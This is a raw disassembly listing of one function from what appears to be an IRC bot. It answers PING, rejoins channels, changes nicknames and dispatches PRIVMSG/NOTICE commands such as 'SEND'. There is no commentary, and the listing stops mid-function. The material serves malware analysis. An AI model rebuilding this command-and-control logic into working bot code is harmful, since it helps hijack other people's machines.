var_2ABC	= dword	ptr -2ABCh
var_2AB8	= dword	ptr -2AB8h
var_2AB4	= dword	ptr -2AB4h
var_2AB0	= dword	ptr -2AB0h
var_2AA8	= byte ptr -2AA8h
var_2990	= byte ptr -2990h
var_2910	= dword	ptr -2910h
var_290C	= dword	ptr -290Ch
var_2908	= dword	ptr -2908h
var_2904	= dword	ptr -2904h
var_2900	= dword	ptr -2900h
var_28FC	= dword	ptr -28FCh
var_28F8	= byte ptr -28F8h
var_2878	= byte ptr -2878h
var_2778	= byte ptr -2778h
var_2678	= dword	ptr -2678h
var_2674	= dword	ptr -2674h
var_2670	= dword	ptr -2670h
var_266C	= dword	ptr -266Ch
var_2668	= dword	ptr -2668h
var_2664	= dword	ptr -2664h
var_2660	= dword	ptr -2660h
var_265C	= dword	ptr -265Ch
var_2658	= dword	ptr -2658h
var_2654	= dword	ptr -2654h
var_2650	= byte ptr -2650h
var_25D0	= byte ptr -25D0h
var_24D0	= byte ptr -24D0h
var_23D0	= dword	ptr -23D0h
var_23CC	= dword	ptr -23CCh
var_23C8	= dword	ptr -23C8h
var_23C4	= dword	ptr -23C4h
var_23C0	= dword	ptr -23C0h
var_23BC	= dword	ptr -23BCh
var_23B8	= dword	ptr -23B8h
var_23B4	= dword	ptr -23B4h
var_23B0	= dword	ptr -23B0h
var_23AC	= dword	ptr -23ACh
var_23A8	= byte ptr -23A8h
var_2328	= byte ptr -2328h
var_22A8	= byte ptr -22A8h
var_2228	= dword	ptr -2228h
var_2224	= dword	ptr -2224h
var_2220	= dword	ptr -2220h
var_221C	= dword	ptr -221Ch
var_2218	= dword	ptr -2218h
var_2214	= byte ptr -2214h
var_2194	= byte ptr -2194h
var_2114	= byte ptr -2114h
var_2094	= dword	ptr -2094h
var_2090	= dword	ptr -2090h
var_208C	= dword	ptr -208Ch
var_2088	= dword	ptr -2088h
var_2084	= dword	ptr -2084h
var_2080	= byte ptr -2080h
var_2000	= byte ptr -2000h
var_1F80	= byte ptr -1F80h
var_1F00	= dword	ptr -1F00h
var_1EFC	= dword	ptr -1EFCh
var_1EF8	= dword	ptr -1EF8h
var_1EF4	= dword	ptr -1EF4h
var_1EF0	= dword	ptr -1EF0h
var_1EEC	= byte ptr -1EECh
var_1DEC	= byte ptr -1DECh
var_1D6C	= dword	ptr -1D6Ch
var_1D64	= dword	ptr -1D64h
var_1D60	= dword	ptr -1D60h
var_1D5C	= dword	ptr -1D5Ch
var_1D58	= dword	ptr -1D58h
var_1D54	= dword	ptr -1D54h
var_1D50	= dword	ptr -1D50h
var_1D48	= byte ptr -1D48h
var_1D34	= byte ptr -1D34h
var_1C30	= byte ptr -1C30h
var_1BAC	= dword	ptr -1BACh
var_1BA8	= dword	ptr -1BA8h
var_1BA4	= dword	ptr -1BA4h
var_1BA0	= dword	ptr -1BA0h
var_1B9C	= dword	ptr -1B9Ch
var_1B94	= byte ptr -1B94h
var_1B80	= byte ptr -1B80h
var_1A7C	= byte ptr -1A7Ch
var_19FC	= dword	ptr -19FCh
var_19F8	= dword	ptr -19F8h
var_19F4	= dword	ptr -19F4h
var_19F0	= dword	ptr -19F0h
var_19EC	= dword	ptr -19ECh
var_19E8	= dword	ptr -19E8h
var_19E4	= byte ptr -19E4h
var_1964	= byte ptr -1964h
var_1924	= byte ptr -1924h
var_1824	= dword	ptr -1824h
var_1820	= dword	ptr -1820h
var_1814	= dword	ptr -1814h
var_1810	= dword	ptr -1810h
var_180C	= dword	ptr -180Ch
var_1808	= byte ptr -1808h
var_17D0	= byte ptr -17D0h
var_17B4	= byte ptr -17B4h
var_177C	= byte ptr -177Ch
var_1778	= byte ptr -1778h
var_16F8	= byte ptr -16F8h
var_16B8	= byte ptr -16B8h
var_1628	= dword	ptr -1628h
var_1624	= dword	ptr -1624h
var_1620	= dword	ptr -1620h
var_161C	= dword	ptr -161Ch
var_1618	= dword	ptr -1618h
var_1614	= byte ptr -1614h
var_1594	= byte ptr -1594h
var_1514	= dword	ptr -1514h
var_1510	= dword	ptr -1510h
var_150C	= dword	ptr -150Ch
var_1508	= dword	ptr -1508h
var_1504	= byte ptr -1504h
var_14F4	= byte ptr -14F4h
var_1474	= byte ptr -1474h
var_13F4	= dword	ptr -13F4h
var_13EC	= dword	ptr -13ECh
var_13E8	= dword	ptr -13E8h
var_13E4	= dword	ptr -13E4h
var_13E0	= dword	ptr -13E0h
var_13DC	= dword	ptr -13DCh
var_13D8	= dword	ptr -13D8h
var_13D4	= byte ptr -13D4h
var_1354	= byte ptr -1354h
var_12D4	= byte ptr -12D4h
var_1254	= dword	ptr -1254h
var_1250	= dword	ptr -1250h
var_124C	= dword	ptr -124Ch
var_1248	= dword	ptr -1248h
var_1244	= dword	ptr -1244h
var_1240	= dword	ptr -1240h
var_123C	= dword	ptr -123Ch
var_1238	= dword	ptr -1238h
var_1230	= byte ptr -1230h
var_11B0	= byte ptr -11B0h
var_1130	= dword	ptr -1130h
var_112C	= dword	ptr -112Ch
var_1128	= dword	ptr -1128h
var_1120	= dword	ptr -1120h
var_111C	= dword	ptr -111Ch
var_1118	= dword	ptr -1118h
var_1110	= dword	ptr -1110h
var_110C	= byte ptr -110Ch
var_108C	= byte ptr -108Ch
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1004	= dword	ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF8		= dword	ptr -0FF8h
var_FF4		= dword	ptr -0FF4h
var_FF0		= dword	ptr -0FF0h
var_FEC		= dword	ptr -0FECh
var_FE8		= byte ptr -0FE8h
var_F68		= dword	ptr -0F68h
var_F64		= dword	ptr -0F64h
var_F60		= dword	ptr -0F60h
var_F5C		= dword	ptr -0F5Ch
var_F58		= dword	ptr -0F58h
var_F54		= byte ptr -0F54h
var_ED4		= dword	ptr -0ED4h
var_ED0		= dword	ptr -0ED0h
var_ECC		= dword	ptr -0ECCh
var_EC8		= dword	ptr -0EC8h
var_EC4		= dword	ptr -0EC4h
var_EC0		= byte ptr -0EC0h
var_E40		= dword	ptr -0E40h
var_E3C		= dword	ptr -0E3Ch
var_E38		= dword	ptr -0E38h
var_E34		= dword	ptr -0E34h
var_E30		= byte ptr -0E30h
var_E10		= byte ptr -0E10h
var_E00		= byte ptr -0E00h
var_D80		= dword	ptr -0D80h
var_D7C		= byte ptr -0D7Ch
var_CFC		= byte ptr -0CFCh
var_C7C		= dword	ptr -0C7Ch
var_C78		= dword	ptr -0C78h
var_C74		= dword	ptr -0C74h
var_C70		= dword	ptr -0C70h
var_C6C		= dword	ptr -0C6Ch
var_C68		= dword	ptr -0C68h
var_C64		= dword	ptr -0C64h
var_C60		= dword	ptr -0C60h
var_C5C		= dword	ptr -0C5Ch
var_C58		= dword	ptr -0C58h
var_C54		= byte ptr -0C54h
var_BD4		= dword	ptr -0BD4h
var_BD0		= dword	ptr -0BD0h
var_BCC		= dword	ptr -0BCCh
var_BC8		= dword	ptr -0BC8h
var_BC4		= byte ptr -0BC4h
var_B44		= dword	ptr -0B44h
var_B40		= dword	ptr -0B40h
var_B3C		= dword	ptr -0B3Ch
var_B38		= dword	ptr -0B38h
var_B34		= dword	ptr -0B34h
var_B30		= dword	ptr -0B30h
var_B2C		= byte ptr -0B2Ch
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= dword	ptr -0A9Ch
var_A98		= dword	ptr -0A98h
var_A94		= byte ptr -0A94h
var_A14		= dword	ptr -0A14h
var_A10		= dword	ptr -0A10h
var_A0C		= dword	ptr -0A0Ch
var_A08		= dword	ptr -0A08h
var_A04		= dword	ptr -0A04h
var_A00		= dword	ptr -0A00h
var_9FC		= byte ptr -9FCh
var_97C		= word ptr -97Ch
var_978		= dword	ptr -978h
var_970		= dword	ptr -970h
var_96C		= dword	ptr -96Ch
var_968		= dword	ptr -968h
var_960		= byte ptr -960h
var_8FF		= byte ptr -8FFh
var_8FE		= byte ptr -8FEh
var_8FC		= byte ptr -8FCh
var_8FB		= byte ptr -8FBh
var_8F2		= byte ptr -8F2h
var_8F0		= byte ptr -8F0h
var_8EE		= byte ptr -8EEh
var_8ED		= byte ptr -8EDh
var_860		= byte ptr -860h
var_850		= byte ptr -850h
var_7D0		= byte ptr -7D0h
var_750		= dword	ptr -750h
var_74C		= dword	ptr -74Ch
var_748		= dword	ptr -748h
var_744		= dword	ptr -744h
var_740		= dword	ptr -740h
var_734		= dword	ptr -734h
var_730		= dword	ptr -730h
var_728		= dword	ptr -728h
var_724		= dword	ptr -724h
var_720		= dword	ptr -720h
var_71C		= dword	ptr -71Ch
var_714		= dword	ptr -714h
var_710		= byte ptr -710h
var_690		= dword	ptr -690h
var_688		= dword	ptr -688h
var_684		= dword	ptr -684h
var_680		= dword	ptr -680h
var_678		= dword	ptr -678h
var_674		= dword	ptr -674h
var_670		= dword	ptr -670h
var_668		= dword	ptr -668h
var_63C		= dword	ptr -63Ch
var_638		= word ptr -638h
var_624		= dword	ptr -624h
var_620		= byte ptr -620h
var_5A0		= byte ptr -5A0h
var_590		= dword	ptr -590h
var_58C		= dword	ptr -58Ch
var_584		= dword	ptr -584h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_574		= dword	ptr -574h
var_570		= byte ptr -570h
var_4F0		= dword	ptr -4F0h
var_4EC		= dword	ptr -4ECh
var_4E8		= dword	ptr -4E8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4C8		= byte ptr -4C8h
var_4BC		= byte ptr -4BCh
var_484		= byte ptr -484h
var_474		= byte ptr -474h
var_3F4		= byte ptr -3F4h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_358		= dword	ptr -358h
var_354		= dword	ptr -354h
var_34C		= dword	ptr -34Ch
var_348		= dword	ptr -348h
var_344		= dword	ptr -344h
var_340		= dword	ptr -340h
var_338		= byte ptr -338h
var_31C		= word ptr -31Ch
var_31A		= word ptr -31Ah
var_318		= dword	ptr -318h
var_30C		= byte ptr -30Ch
var_308		= dword	ptr -308h
var_2FC		= byte ptr -2FCh
var_2F8		= byte ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2E8		= byte ptr -2E8h
var_2E4		= byte ptr -2E4h
var_2E3		= byte ptr -2E3h
var_2E2		= byte ptr -2E2h
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= byte ptr -2C4h
var_C4		= byte ptr -0C4h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_93		= byte ptr -93h
var_92		= byte ptr -92h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_50		= byte ptr -50h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 5D88h
		call	sub_41BB20
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		mov	[ebp+var_AC], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_A4], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_2C8], ebx
		call	sub_41B590
		push	1Bh
		lea	eax, [ebp+var_338]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_401E94
		push	esi
		lea	eax, [ebp+var_4488]
		push	ebx
		push	eax
		call	sub_41B590
		dec	esi
		lea	eax, [ebp+var_4488]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4488]
		push	offset asc_42D11C ; " :"
		push	eax
		call	sub_41B900
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_4488]
		push	esi
		push	eax
		lea	eax, [ebp+var_4AF0]
		push	eax
		call	sub_41B5F0
		mov	esi, offset asc_42D118 ; " "
		lea	eax, [ebp+var_4AF0]
		push	esi
		push	eax
		call	sub_41C0F4
		add	esp, 34h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+var_A8], 1Fh


loc_401BA0:				; CODE XREF: sub_401ACD+E7j
		push	esi
		push	ebx
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+var_A8]
		pop	ecx
		jnz	short loc_401BA0
		mov	esi, [ebp+var_90]
		cmp	esi, ebx
		jz	loc_401E94
		cmp	[ebp+var_8C], ebx
		jz	loc_401E94
		push	100h
		lea	eax, [ebp+var_960]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	ecx, [ebp+var_14]
		push	1Fh
		pop	edx
		push	1
		pop	edi


loc_401BEE:				; CODE XREF: sub_401ACD+153j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_401C1A
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_401C22
		cmp	[eax+2], bl
		jnz	short loc_401C22
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_960], 1
		mov	esi, [ebp+var_90]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_401C1A:				; CODE XREF: sub_401ACD+125j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_401BEE


loc_401C22:				; CODE XREF: sub_401ACD+12Aj
					; sub_401ACD+12Fj
		cmp	[ebp+var_8ED], bl
		jz	short loc_401C2D
		mov	[ebp+var_8], edi


loc_401C2D:				; CODE XREF: sub_401ACD+15Bj
		cmp	[ebp+var_8F2], bl
		jz	short loc_401C3B
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi


loc_401C3B:				; CODE XREF: sub_401ACD+166j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_401C75
		push	7Fh
		lea	eax, [ebp+var_E00]
		push	esi
		push	eax
		call	sub_41B5F0
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_C4]
		push	offset asc_42D114 ; "!"
		push	eax
		call	sub_41C0F4
		add	esp, 20h


loc_401C75:				; CODE XREF: sub_401ACD+171j
		push	esi
		push	offset aPing	; "PING"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401CC6
		push	[ebp+var_8C]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_401D6A
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		add	esp, 10h
		jmp	loc_401D6A
; ---------------------------------------------------------------------------


loc_401CC6:				; CODE XREF: sub_401ACD+1B7j
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset a001	; "001"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099E1
		push	esi
		push	offset a005	; "005"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099E1
		push	esi
		push	offset a302	; "302"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D2E
		push	offset a@	; "@"
		push	[ebp+var_84]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_401D6A
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_41B5F0
		jmp	short loc_401D67
; ---------------------------------------------------------------------------


loc_401D2E:				; CODE XREF: sub_401ACD+238j
		push	esi
		push	offset a433	; "433"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D71
		push	ebx
		push	dword_4290A0
		push	dword_42909C
		push	[ebp+arg_10]
		call	sub_40B08E
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D


loc_401D67:				; CODE XREF: sub_401ACD+25Fj
		add	esp, 0Ch


loc_401D6A:				; CODE XREF: sub_401ACD+1D8j
					; sub_401ACD+1F4j ...
		mov	eax, edi
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_401D71:				; CODE XREF: sub_401ACD+270j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_A8], 3
		mov	edi, 80h


loc_401D83:				; CODE XREF: sub_401ACD+2DBj
		lea	eax, [ebp+var_E00]
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401DA0
		mov	[ebp+var_A4], 1


loc_401DA0:				; CODE XREF: sub_401ACD+2C7j
		add	esi, edi
		dec	[ebp+var_A8]
		jnz	short loc_401D83
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401E9C
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 3


loc_401DCF:				; CODE XREF: sub_401ACD+392j
		cmp	[esi], bl
		jz	loc_401E5A
		push	7Fh
		lea	eax, [ebp+var_E00]
		push	esi
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_C4]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_401E5A
		cmp	[ebp+var_84], ebx
		jz	short loc_401E5A
		push	[ebp+var_84]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E5A
		lea	eax, [ebp+var_C4]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42D0A8
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		add	esp, 14h


loc_401E5A:				; CODE XREF: sub_401ACD+304j
					; sub_401ACD+324j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_401DCF
		push	[ebp+var_84]
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E94
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"


loc_401E89:				; CODE XREF: sub_401ACD+612j
					; sub_401ACD+8D5j ...
		push	[ebp+arg_4]
		call	sub_409A2D


loc_401E91:				; CODE XREF: sub_401ACD+253Cj
					; sub_401ACD+2559j ...
		add	esp, 10h


loc_401E94:				; CODE XREF: sub_401ACD+5Bj
					; sub_401ACD+F1j ...
		push	1


loc_401E96:				; CODE XREF: sub_401ACD+2A62j
		pop	eax


loc_401E97:				; CODE XREF: sub_401ACD+29Fj
					; sub_401ACD+2A84j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401E9C:				; CODE XREF: sub_401ACD+2F2j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401FF2
		mov	eax, [ebp+var_88]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 3
		mov	[ebp+arg_24], eax


loc_401EC5:				; CODE XREF: sub_401ACD+44Aj
		lea	eax, [ebp+var_E00]
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F12
		lea	eax, [ebp+var_E00]
		push	21h
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_401F12
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_41BEB0
		push	[ebp+arg_1C]
		push	edi
		call	sub_41BEC0
		add	esp, 10h
		mov	edi, 80h


loc_401F12:				; CODE XREF: sub_401ACD+409j
					; sub_401ACD+420j
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_401EC5
		lea	eax, [ebp+var_C4]
		test	eax, eax
		jz	loc_401E94
		cmp	[ebp+arg_24], ebx
		jz	loc_401E94
		push	[ebp+arg_10]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F5A
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_41B5F0


loc_401F52:				; CODE XREF: sub_401ACD+1C36j
		add	esp, 0Ch
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_401F5A:				; CODE XREF: sub_401ACD+476j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_401F5F:				; CODE XREF: sub_401ACD+4B3j
		cmp	[edi], bl
		jz	short loc_401F76
		lea	eax, [ebp+var_E00]
		push	eax
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401F87


loc_401F76:				; CODE XREF: sub_401ACD+494j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_401F5F
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_401F87:				; CODE XREF: sub_401ACD+4A7j
		lea	eax, [ebp+var_E00]
		push	21h
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	loc_401E94
		push	eax
		call	sub_41AFE0
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_41AFE0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	loc_401E94
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS	; ":%s%s"
		push	esi
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_45EC]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 24h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_401FF2:				; CODE XREF: sub_401ACD+3DEj
		push	esi
		push	offset aPart	; "PART"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402014
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40203B


loc_402014:				; CODE XREF: sub_401ACD+534j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_402019:				; CODE XREF: sub_401ACD+56Cj
		cmp	[edi], bl
		jz	short loc_40202F
		push	[ebp+var_90]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402083


loc_40202F:				; CODE XREF: sub_401ACD+54Ej
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_402019


loc_40203B:				; CODE XREF: sub_401ACD+545j
		push	[ebp+var_8C]
		push	offset a353	; "353"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4020E4
		push	[ebp+var_80]
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40206F
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1


loc_40206F:				; CODE XREF: sub_401ACD+597j
		push	[ebp+var_80]
		push	offset unk_42D054


loc_402077:				; CODE XREF: sub_401ACD+28CDj
					; sub_401ACD+2C4Dj ...
		call	sub_415221


loc_40207C:				; CODE XREF: sub_401ACD+1BE2j
		pop	ecx


loc_40207D:				; CODE XREF: sub_401ACD+7B70j
		pop	ecx
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_402083:				; CODE XREF: sub_401ACD+560j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42D030
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		push	[ebp+var_8C]
		push	offset aPart	; "PART"
		call	sub_41C070
		add	esp, 18h
		test	eax, eax
		jnz	loc_401E94
		lea	eax, [ebp+var_2C4]
		push	eax
		mov	eax, [ebp+var_90]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_401E89
; ---------------------------------------------------------------------------


loc_4020E4:				; CODE XREF: sub_401ACD+582j
		push	[ebp+var_8C]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_41C070
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_402138
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402138
		push	[ebp+var_8C]
		push	offset dword_42D01C
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409855
		cmp	dword_429088, ebx
		jz	loc_409855


loc_402138:				; CODE XREF: sub_401ACD+631j
					; sub_401ACD+643j
		push	[ebp+var_8C]
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022BE
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022BE
		mov	eax, [ebp+var_84]
		inc	[ebp+var_80]
		push	4
		mov	[ebp+var_88], eax
		pop	esi
		mov	[ebp+var_AC], esi


loc_40217C:				; CODE XREF: sub_401ACD+8ADj
					; sub_401ACD+8E9j ...
		shl	esi, 2
		mov	eax, [ebp+esi+var_90]
		lea	edi, [ebp+esi+var_90]
		push	eax
		push	offset dword_42D014
		mov	[ebp+arg_8], eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402557
		push	[ebp+esi+var_8C]
		push	offset aSend_0	; "SEND"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40241E
		cmp	[ebp+var_A4], ebx
		jz	loc_4023F7
		push	[ebp+esi+var_88]
		mov	edi, offset aS_1 ; "%s"
		lea	eax, [ebp+var_1B80]
		push	edi
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_1B94]
		push	[ebp+esi+var_84]
		push	edi
		push	eax
		call	sub_41B886
		push	[ebp+esi+var_80]
		call	sub_41B779
		mov	[ebp+var_19FC],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1B9C],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_1A7C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_19F4],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_19F0],	eax
		lea	eax, [ebp+var_1A7C]
		push	eax
		lea	eax, [ebp+var_1B80]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42CFD8
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
		mov	[ebp+var_19F8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1B9C]
		push	ebx
		push	eax
		push	offset loc_4161BD
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0000h
		mov	ecx, [ebp+var_19F8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E594[ecx], eax
		jz	loc_4023E6


loc_4022A8:				; CODE XREF: sub_401ACD+7EFj
		cmp	[ebp+var_19EC],	ebx
		jnz	loc_4083BD
		push	32h
		call	near ptr 2690F63h
		nop
		jmp	short loc_4022A8
; ---------------------------------------------------------------------------


loc_4022BE:				; CODE XREF: sub_401ACD+67Bj
					; sub_401ACD+691j
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4022D7
		mov	[ebp+var_4], 1


loc_4022D7:				; CODE XREF: sub_401ACD+801j
		cmp	[ebp+var_88], ebx
		jz	loc_401E94
		push	offset dword_42CFD4
		push	[ebp+var_88]
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4022FE
		cmp	[ebp+var_4], ebx
